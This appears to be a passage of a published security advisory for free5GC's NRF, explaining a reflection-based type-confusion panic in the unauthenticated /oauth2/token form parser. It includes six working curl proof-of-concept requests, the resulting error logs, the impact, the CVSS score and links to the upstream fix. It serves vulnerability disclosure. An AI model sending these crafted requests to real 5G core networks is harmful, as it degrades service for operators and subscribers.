  "details": "### Summary\nfree5GC\u0027s NRF root SBI endpoint `POST /oauth2/token` contains a parser-level type-confusion bug family. The handler in `NFs/nrf/internal/sbi/api_accesstoken.go` reflects over `models.NrfAccessTokenAccessTokenReq`, special-cases only plain `string` and `NrfNfManagementNfType` fields, and treats every other field as if it were a single `models.PlmnId`. The parsed `*models.PlmnId` is then assigned with `reflect.Value.Set()` to whichever field name the attacker put in the form body, which panics whenever the destination field\u0027s real type is incompatible (slice, different struct, primitive). Gin recovery converts each panic into `HTTP 500`, but the endpoint remains remotely panicable from a single unauthenticated form-encoded request and is repeatedly triggerable across at least 6 confirmed crashing fields.\n\nNote: `/oauth2/token` is unauthenticated by design (it is the OAuth2 token-issuance endpoint). So this is NOT framed as an auth-bypass finding -- it is a parser bug on an intentionally unauthenticated SBI endpoint.\n\n### Details\nValidated against the NRF container in the official Docker compose lab.\n- Source repo tag: `v4.2.1`\n- Running Docker image: `free5gc/nrf:v4.2.1`\n- Docker validation date: 2026-03-22\n- NRF endpoint: `http://10.100.200.3:8000`\n\nRoot cause is in the access-token request parser:\n- `NFs/nrf/internal/sbi/api_accesstoken.go:52`\n- `NFs/nrf/internal/sbi/api_accesstoken.go:87`\n- `NFs/nrf/internal/sbi/api_accesstoken.go:98`\n- `NFs/nrf/internal/sbi/api_accesstoken.go:100`\n- `NFs/nrf/internal/sbi/api_accesstoken.go:112`\n\nThe model definition lives in `free5gc/openapi`:\n- `models/model_nrf_access_token_access_token_req.go:27`\n- `models/model_nrf_access_token_access_token_req.go:29`\n- `models/model_nrf_access_token_access_token_req.go:30`\n- `models/model_nrf_access_token_access_token_req.go:31`\n\nThe parser\u0027s effective shape is: parse value as `*models.PlmnId`, then `dstField.Set(reflect.ValueOf(parsedPlmnId))`. Every destination field that is NOT `string` and NOT `NrfNfManagementNfType` falls into this branch, so any time the destination is a slice (`[]models.PlmnId`, `[]models.Snssai`, `[]models.PlmnIdNid`, `[]string`) or a different pointer type (`*models.PlmnIdNid`), the `reflect.Set` call panics with a runtime type-confusion error.\n\nConfirmed crashing fields in this DoS family (all reachable from a single unauthenticated form-encoded POST):\n- `requesterPlmnList` -\u003e panic assigning `*models.PlmnId` to `[]models.PlmnId`\n- `requesterSnssaiList` -\u003e panic assigning `*models.PlmnId` to `[]models.Snssai`\n- `requesterSnpnList` -\u003e panic assigning `*models.PlmnId` to `[]models.PlmnIdNid`\n- `targetSnpn` -\u003e panic assigning `*models.PlmnId` to `*models.PlmnIdNid`\n- `targetSnssaiList` -\u003e panic assigning `*models.PlmnId` to `[]models.Snssai`\n- `targetNsiList` -\u003e panic assigning `*models.PlmnId` to `[]string`\n\n### PoC\nReproduced end-to-end against the running NRF at `http://10.100.200.3:8000`. Each of the following single requests independently crashes the handler.\n\n1. `requesterPlmnList` -\u003e `[]models.PlmnId` mismatch:\n```\ncurl -i -X POST http://10.100.200.3:8000/oauth2/token \\\n  -H \u0027Content-Type: application/x-www-form-urlencoded\u0027 \\\n  --data-urlencode \u0027requesterPlmnList={\"mcc\":\"208\",\"mnc\":\"93\"}\u0027\n```\n\n2. `requesterSnssaiList` -\u003e `[]models.Snssai` mismatch:\n```\ncurl -i -X POST http://10.100.200.3:8000/oauth2/token \\\n  -H \u0027Content-Type: application/x-www-form-urlencoded\u0027 \\\n  --data-urlencode \u0027requesterSnssaiList={\"mcc\":\"208\",\"mnc\":\"93\"}\u0027\n```\n\n3. `requesterSnpnList` -\u003e `[]models.PlmnIdNid` mismatch:\n```\ncurl -i -X POST http://10.100.200.3:8000/oauth2/token \\\n  -H \u0027Content-Type: application/x-www-form-urlencoded\u0027 \\\n  --data-urlencode \u0027requesterSnpnList={\"mcc\":\"208\",\"mnc\":\"93\"}\u0027\n```\n\n4. `targetSnpn` -\u003e `*models.PlmnIdNid` mismatch:\n```\ncurl -i -X POST http://10.100.200.3:8000/oauth2/token \\\n  -H \u0027Content-Type: application/x-www-form-urlencoded\u0027 \\\n  --data-urlencode \u0027targetSnpn={\"mcc\":\"208\",\"mnc\":\"93\"}\u0027\n```\n\n5. `targetSnssaiList` -\u003e `[]models.Snssai` mismatch:\n```\ncurl -i -X POST http://10.100.200.3:8000/oauth2/token \\\n  -H \u0027Content-Type: application/x-www-form-urlencoded\u0027 \\\n  --data-urlencode \u0027targetSnssaiList={\"mcc\":\"208\",\"mnc\":\"93\"}\u0027\n```\n\n6. `targetNsiList` -\u003e `[]string` mismatch:\n```\ncurl -i -X POST http://10.100.200.3:8000/oauth2/token \\\n  -H \u0027Content-Type: application/x-www-form-urlencoded\u0027 \\\n  --data-urlencode \u0027targetNsiList={\"mcc\":\"208\",\"mnc\":\"93\"}\u0027\n```\n\nObserved response (per request, no body returned):\n```\nHTTP/1.1 500 Internal Server Error\nContent-Length: 0\n```\n\nNRF container logs (`docker logs nrf`) confirm the `reflect.Set` type-confusion panic in `HTTPAccessTokenRequest`, with the panic message changing per field type:\n```\n[ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type []models.PlmnId\n[ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type []models.Snssai\n[ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type []models.PlmnIdNid\n[ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type *models.PlmnIdNid\n[ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type []string\nINFO][NRF][GIN] | 500 | POST | /oauth2/token |\n```\n\n### Impact\nType-confusion panic family (CWE-843) in the form-parser of an unauthenticated, network-reachable, root token-issuance endpoint, with no input validation on field types (CWE-20) and no defensive handling of the resulting panic before reflection (CWE-755).\n\nThis is NOT framed as an auth-bypass finding: `/oauth2/token` is unauthenticated by design. It is also NOT a process-kill DoS: Gin recovery catches each panic and the NRF process keeps running, so legitimate clients can still get tokens between attacker requests.\n\nWhat the bug realistically gives an off-path attacker:\n- A reliable, unauthenticated, repeatable panic primitive on the root token endpoint, reachable from a single form-encoded POST.\n- Per-request CPU + log-write cost that is materially higher than a normal validation reject (`400`) would have been, because the panic generates a stack trace each time.\n- A class of at least 6 attacker-selectable form keys that all crash via the same root cause, so partial fixes that harden one field do not close the family.\n- Sustained-attack potential: under flood, the panic-amplification can degrade NRF token issuance (more expensive than `400` validation) and pollute logs / rotate out useful diagnostic history.\n\nNo Confidentiality impact (`HTTP 500` with empty body, no stack trace returned to the caller). No Integrity impact (panic happens before any state change). Availability impact is limited to per-request degradation under sustained attack; a single request does not deny service to other clients.\n\nAffected: free5gc v4.2.1.\n\nUpstream issue: https://github.com/free5gc/free5gc/issues/918\nUpstream fix: https://github.com/free5gc/nrf/pull/83",
  "id": "GHSA-f8qv-7x5w-qr48",
  "modified": "2026-06-08T23:48:13Z",
  "published": "2026-05-08T22:56:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/free5gc/free5gc/security/advisories/GHSA-f8qv-7x5w-qr48"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44325"
    },
    {
      "type": "WEB",
      "url": "https://github.com/free5gc/free5gc/issues/918"
    },
    {
      "type": "WEB",
      "url": "https://github.com/free5gc/nrf/pull/83"
    },
    {
      "type": "WEB",
      "url": "https://github.com/free5gc/nrf/commit/f7bc77daa7425506af7569f2e61c2a210f5a0423"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/free5gc/free5gc"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "free5GC NRF: type-confusion panic in POST /oauth2/token structured-form parser via Reflect.Set on incompatible types"
}

No mitigation information available for this CWE.

No CAPEC attack patterns related to this CWE.